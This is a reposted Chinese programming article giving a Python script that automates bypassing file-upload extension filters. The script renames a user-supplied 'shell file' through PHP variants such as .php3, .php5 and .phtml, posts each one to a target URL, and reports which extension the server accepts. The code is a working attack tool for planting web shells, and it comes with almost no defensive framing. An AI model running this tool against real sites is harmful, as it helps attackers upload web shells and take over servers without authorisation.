ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

利用Python编写测试可以绕过上传文件扩展名限制的工具

2022-05-20 17:00:25  阅读:142  来源: 互联网

标签:__ 扩展名 Python self filename url file 上传 options


 

 1 import requests
 2 import sys
 3 import optparse
 4 import os
 5 
 6 
 7 class ExtensionTest:
 8     def __init__(self) -> None:
 9         self.url = self.get_params()[0]
10         self.filename = self.get_params()[1]
11         self.extension_list = ['.php', '.php2', '.php3', '.php4','.php5', '.phtml']   #Possible extension to try
12 
13 
14     def get_params(self):
15         parser = optparse.OptionParser("Usage: <Program> -u url -f shell file")
16         parser.add_option('-u', '--url', dest='url', type='string', help='Specify target url')
17         parser.add_option('-f', '--filename', dest='filename',type='string', help='Specify shell filename')
18         options, args = parser.parse_args()
19         if options.url is None or options.filename is None:
20             print(parser.usage)
21             sys.exit(0)  
22 
23         if not os.path.exists(options.filename):
24             print("The shell file does not exist")   
25             sys.exit(0)
26         
27         return options.url, options.filename    
28 
29 
30     def file_upload(self, filename):
31         headers = {
32         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0'
33     }
34         try:
35             with open(filename, 'rb') as f:
36                 file_dict = {'file':f}    #键名要与实际的form表单中的文件部分一致,否则出现莫名其妙的错误,这个不是文件名
37                 response = requests.post(self.url, files=file_dict)
38                
39                 return response.text
40         except:
41             return None
42 
43     def run(self):
44         for ext in self.extension_list:
45             filename = self.filename.split('.')[0] + ext
46             print('[-] Try %s' %filename)
47             os.rename(self.filename, filename)
48            
49             response = self.file_upload(filename)
50          
51             if response:
52                 if "Extension not allowed" in response:
53                     print('%s not allowed' % ext)
54                     os.rename(filename, self.filename)
55                 else:
56                     
57                     print("%s allowed" % ext)
58                     sys.exit(0)
59 
60 
61 if __name__ == "__main__":
62     ext = ExtensionTest()
63     ext.run()         

 

标签:__,扩展名,Python,self,filename,url,file,上传,options
来源: https://www.cnblogs.com/jason-huawen/p/16292937.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有